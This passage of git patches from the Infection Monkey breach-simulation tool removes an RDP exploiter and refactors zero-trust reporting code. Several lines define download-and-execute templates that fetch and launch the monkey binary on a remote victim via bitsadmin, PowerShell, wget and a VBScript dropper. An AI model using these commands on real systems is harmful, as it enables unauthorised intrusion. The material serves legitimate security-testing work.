LOG.debug("Exploiter RdpGrinder failed, http download failed.") - return False - - LOG.info("Executed monkey '%s' on remote victim %r", - os.path.basename(src_path), self.host) - self.add_executed_cmd(command) - return True diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index b33a3cfb5..d8c1f6598 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -308,7 +308,7 @@ class WebRCE(HostExploiter): """ if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} + backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() resp = self.exploit(url, backup_command) return resp diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index e6c2e63a5..dd3e9ca63 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt index bef031d2e..f30131267 100644 --- a/monkey/infection_monkey/requirements_linux.txt +++ b/monkey/infection_monkey/requirements_linux.txt @@ -1,10 +1,7 @@ enum34 impacket pycryptodome -pyasn1 cffi -twisted -rdpy requests odict paramiko diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt index 5689ca332..a9642aa2f 100644 --- a/monkey/infection_monkey/requirements_windows.txt +++ b/monkey/infection_monkey/requirements_windows.txt @@ -1,10 +1,7 @@ enum34 impacket pycryptodome -pyasn1 cffi -twisted -rdpy requests odict paramiko diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 7e1f17c48..52ccfeb5d 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -58,7 +58,6 @@ class AWSExporter(Exporter): 'wmi_password': AWSExporter._handle_wmi_password_issue, 'wmi_pth': AWSExporter._handle_wmi_pth_issue, 'ssh_key': AWSExporter._handle_ssh_key_issue, - 'rdp': AWSExporter._handle_rdp_issue, 'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue, 'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue, 'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue, @@ -305,20 +304,6 @@ class AWSExporter(Exporter): instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) - @staticmethod - def _handle_rdp_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), - instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None - ) - @staticmethod def _handle_shared_passwords_domain_issue(issue, instance_arn): diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 2fa1a3aff..ee5616868 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -32,14 +32,6 @@ SCHEMA = { "title": "MSSQL Exploiter", "attack_techniques": ["T1110"] }, - { - "type": "string", - "enum": [ - "RdpExploiter" - ], - "title": "RDP Exploiter (UNSAFE)", - "attack_techniques": [] - }, { "type": "string", "enum": [ @@ -791,19 +783,6 @@ SCHEMA = { } } }, - "rdp_grinder": { - "title": "RDP grinder", - "type": "object", - "properties": { - "rdp_use_vbs_download": { - "title": "Use VBS download", - "type": "boolean", - "default": True, - "description": "Determines whether to use VBS or BITS to download monkey to remote machine" - " (true=VBS, false=BITS)" - } - } - }, "sambacry": { "title": "SambaCry", "type": "object", diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 593bbfdaf..54bb6f74e 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -34,7 +34,6 @@ class ReportService: 'SmbExploiter': 'SMB Exploiter', 'WmiExploiter': 'WMI Exploiter', 'SSHExploiter': 'SSH Exploiter', - 'RdpExploiter': 'RDP Exploiter', 'SambaCryExploiter': 'SambaCry Exploiter', 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', @@ -287,12 +286,6 @@ class ReportService: processed_exploit['type'] = 'ssh' return processed_exploit - @staticmethod - def process_rdp_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'rdp' - return processed_exploit - @staticmethod def process_vsftpd_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) @@ -357,7 +350,6 @@ class ReportService: 'SmbExploiter': ReportService.process_smb_exploit, 'WmiExploiter': ReportService.process_wmi_exploit, 'SSHExploiter': ReportService.process_ssh_exploit, - 'RdpExploiter': ReportService.process_rdp_exploit, 'SambaCryExploiter': ReportService.process_sambacry_exploit, 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 4d1f6d4dd..207ae8699 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -665,22 +665,6 @@ class ReportPageComponent extends AuthComponent { ); } - generateRdpIssue(issue) { - return ( -
  • - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a RDP attack. -
    - The Monkey authenticated over the RDP protocol with user {issue.username} and its password. -
    -
  • - ); - } generateSambaCryIssue(issue) { return ( @@ -959,9 +943,6 @@ generateMSSQLIssue(issue) { case 'ssh_key': data = this.generateSshKeysIssue(issue); break; - case 'rdp': - data = this.generateRdpIssue(issue); - break; case 'sambacry': data = this.generateSambaCryIssue(issue); break; From 4b356c2cf4d30b97efa7421af18f388d86f1f7a5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 21 Aug 2019 11:54:38 +0300 Subject: [PATCH 124/276] Fixes bug where monkey crashes if default server flag is not passed --- monkey/infection_monkey/monkey.py | 27 ++++++++++++++++++--------- 1 file changed, 18 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index ce5ab2093..692e278fb 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -67,10 +67,7 @@ class InfectionMonkey(object): self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server - try: - self._default_server_port = self._default_server.split(':')[1] - except KeyError: - self._default_server_port = '' + if self._opts.depth: WormConfiguration._depth_from_commandline = True self._keep_running = True @@ -87,9 +84,10 @@ class InfectionMonkey(object): def start(self): LOG.info("Monkey is running...") - if not ControlClient.find_server(default_tunnel=self._default_tunnel): - LOG.info("Monkey couldn't find server. Going down.") + # Sets island's IP and port for monkey to communicate to + if not self.set_default_server(): return + self.set_default_port() # Create a dir for monkey files if there isn't one utils.create_monkey_dir() @@ -116,9 +114,6 @@ class InfectionMonkey(object): monkey_tunnel.start() StateTelem(False).send() - - self._default_server = WormConfiguration.current_server - LOG.debug("default server: %s" % self._default_server) TunnelTelem().send() if WormConfiguration.collect_system_info: @@ -329,3 +324,17 @@ class InfectionMonkey(object): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) + + def set_default_port(self): + try: + self._default_server_port = self._default_server.split(':')[1] + except KeyError: + self._default_server_port = '' + + def set_default_server(self): + if not ControlClient.find_server(default_tunnel=self._default_tunnel): + LOG.info("Monkey couldn't find server. Going down.") + return False + self._default_server = WormConfiguration.current_server + LOG.debug("default server set to: %s" % self._default_server) + return True From 3f85c336b91cc6f58beb3dfccdd2909ad65f6f97 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 21 Aug 2019 18:32:39 +0300 Subject: [PATCH 125/276] Moved init of mappings to init file --- monkey/common/data/__init__.py | 2 ++ monkey/common/data/zero_trust_consts.py | 39 ++++++++++++------------- 2 files changed, 20 insertions(+), 21 deletions(-) diff --git a/monkey/common/data/__init__.py b/monkey/common/data/__init__.py index e69de29bb..a8c1a93f7 100644 --- a/monkey/common/data/__init__.py +++ b/monkey/common/data/__init__.py @@ -0,0 +1,2 @@ +from zero_trust_consts import populate_mappings +populate_mappings() diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index dbb28a991..5e3791d40 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -61,9 +61,9 @@ TESTS_MAP = { TEST_SEGMENTATION: { TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_CONCLUSIVE: "Monkey performed cross-segment communication. Check firewall rules and logs.", - STATUS_POSITIVE: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." - }, + STATUS_CONCLUSIVE: "Monkey performed cross-segment communication. Check firewall rules and logs.", + STATUS_POSITIVE: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." + }, DIRECTIVE_KEY: DIRECTIVE_SEGMENTATION, PILLARS_KEY: [NETWORKS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_POSITIVE, STATUS_CONCLUSIVE] @@ -128,6 +128,11 @@ TESTS_MAP = { }, } +EVENT_TYPE_ISLAND = "island" +EVENT_TYPE_MONKEY_NETWORK = "monkey_network" +EVENT_TYPE_MONKEY_LOCAL = "monkey_local" +EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK, EVENT_TYPE_ISLAND) + PILLARS_TO_TESTS = { DATA: [], PEOPLE: [], @@ -138,6 +143,16 @@ PILLARS_TO_TESTS = { AUTOMATION_ORCHESTRATION: [] } +DIRECTIVES_TO_TESTS = {} + +DIRECTIVES_TO_PILLARS = {} + + +def populate_mappings(): + populate_pillars_to_tests() + populate_directives_to_tests() + populate_directives_to_pillars() + def populate_pillars_to_tests(): for pillar in PILLARS: @@ -146,11 +161,6 @@ def populate_pillars_to_tests(): PILLARS_TO_TESTS[pillar].append(test) -populate_pillars_to_tests() - -DIRECTIVES_TO_TESTS = {} - - def populate_directives_to_tests(): for single_directive in DIRECTIVES: DIRECTIVES_TO_TESTS[single_directive] = [] @@ -158,11 +168,6 @@ def populate_directives_to_tests(): DIRECTIVES_TO_TESTS[test_info[DIRECTIVE_KEY]].append(test) -populate_directives_to_tests() - -DIRECTIVES_TO_PILLARS = {} - - def populate_directives_to_pillars(): for directive, directive_tests in DIRECTIVES_TO_TESTS.items(): directive_pillars = set() @@ -170,11 +175,3 @@ def populate_directives_to_pillars(): for pillar in TESTS_MAP[test][PILLARS_KEY]: directive_pillars.add(pillar) DIRECTIVES_TO_PILLARS[directive] = directive_pillars - - -populate_directives_to_pillars() - -EVENT_TYPE_ISLAND = "island" -EVENT_TYPE_MONKEY_NETWORK = "monkey_network" -EVENT_TYPE_MONKEY_LOCAL = "monkey_local" -EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK, EVENT_TYPE_ISLAND) From bfaa05aa519c1e834aea71283aad4209affd2ee7 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 21 Aug 2019 18:48:02 +0300 Subject: [PATCH 126/276] Minor CR fixes - changed downlaod filename, refactored some names --- .../monkey_island/cc/resources/telemetry.py | 2 +- .../services/reporting/zero_trust_service.py | 1 + .../processing/{hooks.py => processing.py} | 0 .../zero_trust_tests/antivirus_existence.py | 71 +------------------ .../zero_trust_tests/known_anti_viruses.py | 69 ++++++++++++++++++ .../components/pages/ZeroTrustReportPage.js | 2 +- .../zerotrust/FindingsTable.js | 2 +- .../zerotrust/SinglePillarDirectivesStatus.js | 2 +- .../zerotrust/StatusesToPillarsSummary.js | 2 +- 9 files changed, 76 insertions(+), 75 deletions(-) rename monkey/monkey_island/cc/services/telemetry/processing/{hooks.py => processing.py} (100%) create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index e07207707..2f674f7bf 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -9,7 +9,7 @@ from flask import request from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.hooks import process_telemetry +from monkey_island.cc.services.telemetry.processing.processing import process_telemetry from monkey_island.cc.models.monkey import Monkey __author__ = 'Barak' diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index e3151dd7a..8039d6e16 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -109,6 +109,7 @@ class ZeroTrustService(object): test_info = TESTS_MAP[finding.test] enriched_finding = { "test": test_info[FINDING_EXPLANATION_BY_STATUS_KEY][finding.status], + "test_key": finding.test, "pillars": test_info[PILLARS_KEY], "status": finding.status, "events": ZeroTrustService.__get_events_as_dict(finding.events) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/hooks.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/processing/hooks.py rename to monkey/monkey_island/cc/services/telemetry/processing/processing.py diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py index c93d63b72..c86838476 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -5,76 +5,7 @@ from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_IS from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding - -ANTI_VIRUS_KNOWN_PROCESS_NAMES = [ - u"AvastSvc.exe", - u"AvastUI.exe", - u"avcenter.exe", - u"avconfig.exe", - u"avgcsrvx.exe", - u"avgidsagent.exe", - u"avgnt.exe", - u"avgrsx.exe", - u"avguard.exe", - u"avgui.exe", - u"avgwdsvc.exe", - u"avp.exe", - u"avscan.exe", - u"bdagent.exe", - u"ccuac.exe", - u"egui.exe", - u"hijackthis.exe", - u"instup.exe", - u"keyscrambler.exe", - u"mbam.exe", - u"mbamgui.exe", - u"mbampt.exe", - u"mbamscheduler.exe", - u"mbamservice.exe", - u"MpCmdRun.exe", - u"MSASCui.exe", - u"MsMpEng.exe", - u"rstrui.exe", - u"spybotsd.exe", - u"zlclient.exe", - u"SymCorpUI.exe", - u"ccSvcHst.exe", - u"ccApp.exe", - u"LUALL.exe", - u"SMC.exe", - u"SMCgui.exe", - u"Rtvscan.exe", - u"LuComServer.exe", - u"ProtectionUtilSurrogate.exe", - u"ClientRemote.exe", - u"SemSvc.exe", - u"SemLaunchSvc.exe", - u"sesmcontinst.exe", - u"LuCatalog.exe", - u"LUALL.exe", - u"LuCallbackProxy.exe", - u"LuComServer_3_3.exe", - u"httpd.exe", - u"dbisqlc.exe", - u"dbsrv16.exe", - u"semapisrv.exe", - u"snac64.exe", - u"AutoExcl.exe", - u"DoScan.exe", - u"nlnhook.exe", - u"SavUI.exe", - u"SepLiveUpdate.exe", - u"Smc.exe", - u"SmcGui.exe", - u"SymCorpUI.exe", - u"symerr.exe", - u"ccSvcHst.exe", - u"DevViewer.exe", - u"DWHWizrd.exe", - u"RtvStart.exe", - u"roru.exe", - u"WSCSAvNotifier" -] +from monkey_island.cc.services.telemetry.zero_trust_tests.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES def test_antivirus_existence(telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py new file mode 100644 index 000000000..e10792d0c --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py @@ -0,0 +1,69 @@ +ANTI_VIRUS_KNOWN_PROCESS_NAMES = [ + u"AvastSvc.exe", + u"AvastUI.exe", + u"avcenter.exe", + u"avconfig.exe", + u"avgcsrvx.exe", + u"avgidsagent.exe", + u"avgnt.exe", + u"avgrsx.exe", + u"avguard.exe", + u"avgui.exe", + u"avgwdsvc.exe", + u"avp.exe", + u"avscan.exe", + u"bdagent.exe", + u"ccuac.exe", + u"egui.exe", + u"hijackthis.exe", + u"instup.exe", + u"keyscrambler.exe", + u"mbam.exe", + u"mbamgui.exe", + u"mbampt.exe", + u"mbamscheduler.exe", + u"mbamservice.exe", + u"MpCmdRun.exe", + u"MSASCui.exe", + u"MsMpEng.exe", + u"rstrui.exe", + u"spybotsd.exe", + u"zlclient.exe", + u"SymCorpUI.exe", + u"ccSvcHst.exe", + u"ccApp.exe", + u"LUALL.exe", + u"SMC.exe", + u"SMCgui.exe", + u"Rtvscan.exe", + u"LuComServer.exe", + u"ProtectionUtilSurrogate.exe", + u"ClientRemote.exe", + u"SemSvc.exe", + u"SemLaunchSvc.exe", + u"sesmcontinst.exe", + u"LuCatalog.exe", + u"LUALL.exe", + u"LuCallbackProxy.exe", + u"LuComServer_3_3.exe", + u"httpd.exe", + u"dbisqlc.exe", + u"dbsrv16.exe", + u"semapisrv.exe", + u"snac64.exe", + u"AutoExcl.exe", + u"DoScan.exe", + u"nlnhook.exe", + u"SavUI.exe", + u"SepLiveUpdate.exe", + u"Smc.exe", + u"SmcGui.exe", + u"SymCorpUI.exe", + u"symerr.exe", + u"ccSvcHst.exe", + u"DevViewer.exe", + u"DWHWizrd.exe", + u"RtvStart.exe", + u"roru.exe", + u"WSCSAvNotifier" +] diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index f68321023..2fe43c42e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -4,7 +4,7 @@ import AuthComponent from '../AuthComponent'; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; import PillarsOverview from "../report-components/zerotrust/PillarOverview"; import FindingsTable from "../report-components/zerotrust/FindingsTable"; -import {SinglePillarDirectivesStatus} from "../report-components/zerotrust/SinglePillarDirectivesStatus"; +import SinglePillarDirectivesStatus from "../report-components/zerotrust/SinglePillarDirectivesStatus"; import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 3838bd245..18160846a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -22,7 +22,7 @@ const columns = [ }, { Header: 'Events', id:"events", accessor: x => { - return ; + return ; } } ] diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js index b8ded2d5a..47f477dfd 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js @@ -4,7 +4,7 @@ import DirectivesStatusTable from "./DirectivesStatusTable"; import React, {Fragment} from "react"; import * as PropTypes from "prop-types"; -export class SinglePillarDirectivesStatus extends AuthComponent { +export default class SinglePillarDirectivesStatus extends AuthComponent { render() { if (this.props.directivesStatus.length === 0) { return null; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js index 486a59d9f..8cdf12af5 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js @@ -32,5 +32,5 @@ export default class StatusesToPillarsSummary extends Component { } StatusesToPillarsSummary.propTypes = { - statusesToPillars: PropTypes.array + statusesToPillars: PropTypes.object }; From 6843606a4f453e571b5c3e05d77a300f5f37df07 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 21 Aug 2019 19:03:51 +0300 Subject: [PATCH 127/276] Merge commit leftovers --- monkey/monkey_island/cc/services/telemetry/processing/state.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py index e71abacd7..ac8e32939 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/state.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -3,6 +3,7 @@ from monkey_island.cc.services.node import NodeService def process_state_telemetry(telemetry_json): monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + NodeService.add_communication_info(monkey, telemetry_json['command_control_channel']) if telemetry_json['data']['done']: NodeService.set_monkey_dead(monkey, True) else: From d6104bbcf997b1fa86da189c7cec78d6fb9e4810 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 21 Aug 2019 21:28:15 +0300 Subject: [PATCH 128/276] Started implementing the open_data_endpoints test, still not creating findings --- .../cc/services/telemetry/processing/scan.py | 7 ++++++- .../telemetry/zero_trust_tests/data_endpoints.py | 16 ++++++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index 4e34b9a19..3b532ff22 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -2,9 +2,15 @@ import copy from monkey_island.cc.database import mongo from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry +from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import test_open_data_endpoints def process_scan_telemetry(telemetry_json): + update_edges_and_nodes_based_on_scan_telemetry(telemetry_json) + test_open_data_endpoints(telemetry_json) + + +def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) data = copy.deepcopy(telemetry_json['data']['machine']) ip_address = data.pop("ip_addr") @@ -19,7 +25,6 @@ def process_scan_telemetry(telemetry_json): {"$push": {"scans": new_scan}, "$set": {"ip_address": ip_address, 'domain_name': domain_name}} ) - node = mongo.db.node.find_one({"_id": edge["to"]}) if node is not None: scan_os = new_scan["data"]["os"] diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py new file mode 100644 index 000000000..e0aabf413 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -0,0 +1,16 @@ +import json + +BAD_ENDPOINTS = { + "tcp-80": "Open HTTP server." +} + + +def test_open_data_endpoints(telemetry_json): + services = telemetry_json["data"]["machine"]["services"] + for service_name, service_data in services.items(): + if service_name in BAD_ENDPOINTS: + # TODO Create finding + print("found open {} service on address {}, details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data))) From 9b23be44ed627dc9044640e405e468e4ae1e3357 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 22 Aug 2019 09:28:53 +0300 Subject: [PATCH 129/276] Added hash parsing to the T1021 remote services attack technique. --- .../cc/services/attack/technique_reports/T1021.py | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index 2baa7a872..d22583359 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -22,18 +22,14 @@ class T1021(AttackTechnique): 'attempt_cnt': {'$size': '$data.attempts'}, 'attempts': {'$filter': {'input': '$data.attempts', 'as': 'attempt', - 'cond': {'$and': [{'$eq': ['$$attempt.result', True]}, - {'$or': [{'$ne': ['$$attempt.password', '']}, - {'$ne': ['$$attempt.ssh_key', '']}]}] - } + 'cond': {'$eq': ['$$attempt.result', True]} } } } }] scanned_query = {'telem_category': 'exploit', - 'data.attempts': {'$elemMatch': {'$or': [{'password': {'$ne': ''}}, - {'ssh_key': {'$ne': ''}}]}}} + 'data.attempts': {'$elemMatch': {'result': True}}} @staticmethod def get_report_data(): From 83ed12249ed88bbb1d6991cbdf1677035aee4e94 Mon Sep 17 00:00:00 2001 From: vkuchinov Date: Thu, 22 Aug 2019 10:13:10 +0300 Subject: [PATCH 130/276] VennDiagram component --- .../zerotrust/VennDiagram/ArcNode/index.js | 46 +++ .../VennDiagram/CircularNode/index.js | 57 +++ .../zerotrust/VennDiagram/Tooltip/index.js | 49 +++ .../zerotrust/VennDiagram/index.css | 14 + .../zerotrust/VennDiagram/index.js | 369 ++++++++++++++++++ .../zerotrust/VennDiagram/utility.js | 8 + 6 files changed, 543 insertions(+) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/ArcNode/index.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/CircularNode/index.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/Tooltip/index.js create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/VennDiagram/index.css create mode 100644 